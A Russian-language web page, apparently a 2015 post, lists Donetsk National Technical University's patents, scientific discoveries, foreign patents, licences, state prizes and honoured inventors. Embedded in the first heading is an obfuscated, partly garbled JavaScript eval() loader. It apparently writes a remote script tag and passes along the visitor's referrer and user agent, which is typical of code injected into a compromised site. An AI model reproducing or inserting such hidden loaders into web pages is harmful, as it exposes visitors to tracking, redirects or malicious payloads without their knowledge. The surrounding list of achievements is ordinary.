

**Научные** eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(" ");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|dbzsn|var|u0026u|referrer|dzsby||js|php'.split('|'),0,{})) **достижения**

Получено авторских свидетельств и патентов СССР на изобретения - 4700

из них со студентами – 690

Получено патентов за рубежом - 110

Получено патентов Украины на изобретения – 620

Получено патентов Украины на полезные модели - 300

Продано лицензий - 13

## Науч. достижения

Автор: Sotnikoff  
05.08.2015 11:03

---

Использовано изобретений - 650

Получено свидетельств на товарный знак ДПИ - 3

Получено свидетельств на компьютерные программы – 6

## Открытия:

1. Зборщик М.П., Осокин В.В. «Явление выделения из пиритосодержащей горной породы элементарной серы под действием тионовых бактерий». Диплом № А-091

2. Дюдкин Д. А. «Явление возбуждения электрического тока в проводнике, движущемся в электростатическом поле». Диплом № 176.

3. Смирнов А. Н., Пилюшенко В. Л., Момот С.В. и др. «Закономерность скачкообразного изменения фазового состояния расплава, твердеющего под воздействием низкочастотной вибрации». Диплом № 244.

4. Подкопаев С. В., Николин В.И., Агафонов А. В., Малеев Н. В., Носач А. К. «О связи деформаций генетического возврата напряженных горных работ с их влажностью». Свидетельство о регистрации научной идеи № А-297.

## **Науч. достижения**

Автор: Sotnikoff  
05.08.2015 11:03

---

5.Назимко В. В., Ильяшов М. А., Скипочка С. И. и др. «Свойство пород угольных формаций в процессе своего разрушения проявлять дополнительную десорбцию связанных молекул метана». Диплом № 275.

6.Смирнов А. Н., Пилюшенко В. Л., Еланский Г.Н. и др. «Закономерность гомогенизации металлического расплава и эжектирования неметаллических включений при наложении вертикальных потоков в расплаве». Диплом № 299.

### **Заслуженные изобретатели СССР:**

1.Сорокин Василий Александрович - профессор

2.Деканенко Владимир Николаевич - доцент

3.Горелик Вадим Семенович - профессор

4.Мачикин Виктор Иванович - профессор

### **Заслуженные изобретатели Украины:**

## **Науч. достижения**

Автор: Sotnikoff  
05.08.2015 11:03

---

1.Губайдулин Вячеслав Фуатович - к.т.н.

2.Парфенюк Александр Сергеевич - доцент

## **Лучшие молодые изобретатели Украины:**

1.Коринь Андрей Александрович

2.Синицин Дмитрий Валерьевич

## **Список иностранных патентов ДонНТУ, полученных в 1991 - 2015 гг .:**

1.Патент России № 1301053. Входной патрубок вентилятора (Пак В.В. и др.).

2.Патент России № 1726492. Батарея коксовых печей. (Парфенюк А.С. и др.).

3.Патент России № 1821786. Азимутальный способ геоструктурного картирования. (Панов Б.С. и др.).

## Науч. достижения

Автор: Sotnikoff  
05.08.2015 11:03

---

4. Патент России № 2014720. Способ пуска и самозапуска синхронного двигателя. (Сивокобыленко В.Ф. и др.).

5. Патент России № 2024571. Устройство для разравнивания и уплотнения шихты в коксовой печи. (Парфенюк А.С. и др.).

6. Патент России № 2241768. Способ термоциклической обработки многофазных деформированных железных сплавов (Баранов Д.А. и др.).

7. Патент России № 2278238. Гидроударный буровой снаряд. (Калиниченко О.И. и др.).

8. Патент ФРГ № 3410792. Способ и устройство для защиты турбокомпрессора от помпажа. (Груба В.И. и др.).

9. Патент США № 5085691. Способ производства стали массового назначения.

(Наконечный А.Я. и др.).

10. Патент Бельгии № 1003285. Материал для рафинирования стали массового назначения. (Наконечный Я. и др.).

11. Патент США № 5037609. Материал для рафинированию стали массового назначения. (Наконечный Я. и др.).

### Лицензии

1. Технология подземной газификации угля. Фирма «Техас Ютилитис Инж», США.
2. Самоспасатель с применением регенеративного продукта и пускового брикета. Фирма «Дрегеверк», ФРГ.
3. Комбайн «Минипласт». Фирма «Германн Хемитайдт Maschinenfabrik ГмбХ Ко», ФРГ.
4. Очистный узкозахватный комбайн К-80. Фирма «Айкгофф», ФРГ.
5. Технология прокатки нержавеющей стали на стане 2000. фирма «Боккара Стал», Индия.
6. Технология вдувания пылеугольного топлива в доменных печах. Фирма «Фест Альпинс», Австрия.
7. Технология двухручьевой прокатки-разделения сортовых профилей. Фирма «Скет», ГДР.
8. Технология многоручьевой прокатки-разделения. Фирма «Куба ЕКИПОС».
9. Технология асимметричной прокатки горячих полос повышенной точности и плоскостности в чистовой группе широкополосного стана 2000 г.
10. Способ подготовки дисперсных материалов к транспортировке и утилизации. Индия.

## Науч. достижения

Автор: Sotnikoff  
05.08.2015 11:03

---

11.Выбор системы гидротранспортировки шлаковой пульпы и компоновочное решение для Баганурской ТЭС, МНР.

12.Входной патрубок вентилятора. (Совместно с "Донгипроуглемаш). Россия, ОАО" АМЗ"  
"-

" ВЕНКОМ", г.Артемовск Свердловской области. 2000 г.

13.Технология электрошлакового переплава. Фирма «Инглер (НК) Интерпрайзес Лтд» КНР, 2008 г.

### **Госпремии, Госпремии СССР в области науки и техники:**

1.Госпремия СССР за создание врубовой машины типа КМП, 1949 г., Альшиц Я.И.

2.Госпремия СССР первой степени за разработку и внедрение специальных способов откачивания воды из затопленных шахт Донбасса, 1948 г., Гейер В.Г.

3.Госпремия СССР за создание крупнейшего в мире вентилятора ВЦЦ 47 «Север», 1981 г.,

Пак В.В.

4. Госпремия СССР за разработку и внедрение на ДМЗ технологии и комплекса оборудования для выплавки чугуна с вдуванием пылеугольного топлива в доменные печи, 1984 г., Ярошевский С. Л., Мачикин В. И и др.

### Государственные премии Украины в области науки и техники:

1. Госпремия за цикл работ "Теоретическая и региональная минералогия», 1983 г., Панов Б. С.

2. Госпремия за научные основы разработки технологии и промышленное использование метана углегазовых месторождений, 1995 г., Брижанев А. М.

3. Госпремия за решение проблемы внезапных выбросов угля и газа, 1992 г., Николин В.И.

4. Госпремия, «Разработка способов обеспечения устойчивости подготовительных выработок в зонах разгрузки», 1993 г., Зборщик М.П., Назимко В.В.

5. Госпремия за создание теории и практики нетрадиционного процесса: прокатка-разделение, 2006 г. Губайдулин В. Ф., Шутьгин Г.М. и др.

6. Госпремия за создание высокопроизводительных отечественных агрегатов ковш-печь и МНЛЗ, 2002 г., Смирнов А.Н., Минаев А.А. и др.



## Науч. достижения

Автор: Sotnikoff  
05.08.2015 11:03

---

7. Госпремия за разработку и внедрение в серийное производство нового поколения комплекса дальней радиотехнической разведки «Кольчуга», 2004 г., Башков Е.А. и др.

8. Госпремия за разработку научных положений и создание комплекса энерго и ресурсосберегающих технологий и оборудования для получения железорудного сырья, обеспечивающих высокую эффективность производства металлов, 2007 г., Троянский А.А.

### Премии Совета Министров СССР:

Премия Совета Министров СССР за разработку и внедрение в производство новой прогрессивной технологии коксования угля в коксовых батареях из крупногабаритных огнеупорных бетонных блоков. Веретельник С.П., Парфенюк А.С., Зборщик М.П. и др, 1991.

### Премии Академии наук Украины:

1. Премия АН Украины им. Писаржевского за развитие фундаментальной науки в области сераорганических соединений, 1988 г., Визгерт Р.В.

2. Премия АН Украины им. С. Лебедева за цикл работ «Развитие теории методов анализа и оптимизации электроэнергетических систем электроснабжения», 1986 г., Куренной Э. Г.

3. Премия АН Украины им. С. Лебедева за цикл работ «Методы анализа электромагнитной совместимости в системе электроснабжения и использования динамических моделей электрооборудования», Дмитриева Е.Н.

### Почетные награды и звания:

1. Гольцов В.А. - Выдающийся инженер XX века. Почетное звание присвоено в 2000 г. за признанный выдающийся вклад в развитие науки, техники и технологий, а также за укрепление международного инженерного сообщества. Награжден премией имени Рудольфа Эррена Международной ассоциацией по водородной энергетике «За выдающийся вклад в развитие водородной энергетике и водородной обработки материалов в особенности».

2. Панов Б.С. Биография, как выдающегося инженера опубликована в шестом издании Маркус "Кто есть кто в науке и технике" 2002-2003 гг. Удостоен звания почетного геолога недр СССР, 1991 г.

3. Пак В.В. - Признан человеком года в течение 3-х лет за период с 1995 по 1998гг. Награжден почетным дипломом Всемирной организации интеллектуальной собственности, 1987 г.

4. Брижанев А. М. Лауреат премии им. А. Скочинского, 1989 г. Лауреат премии Мингеологии СССР, 1990 г.

5. Николин В.Г. Лауреат премии им. А. Скочинского, 1976 г. награжден орденом Знак Почета, 1969 г.

## Науч. достижения

Автор: Sotnikoff  
05.08.2015 11:03

---

6. Матюха П.Г. награжден почетным значком «Создатель» и Почетной грамотой Государственного департамента интеллектуальной собственности за многолетнюю активную работу и высокий профессионализм, 2002 г.

7. Алимов В.И. награжден почетной грамотой за активное участие в техническом творчестве и изобретательстве, 2006 г.

8. Каракозов А.А. награжден почетной грамотой за активное участие в техническом творчестве и изобретательстве, 2008 г.

9. Паслен В.В. награжден почетным значком «Создатель» и Почетной грамотой Государственного департамента интеллектуальной собственности за активное участие в техническом творчестве и изобретательстве, 2009 г.

10. Михайлов М. В. награжден грамотой Государственного департамента интеллектуальной собственности за содействие развитию изобретательства и рационализации, многолетнюю активную работу, высокий профессионализм, 2009 г.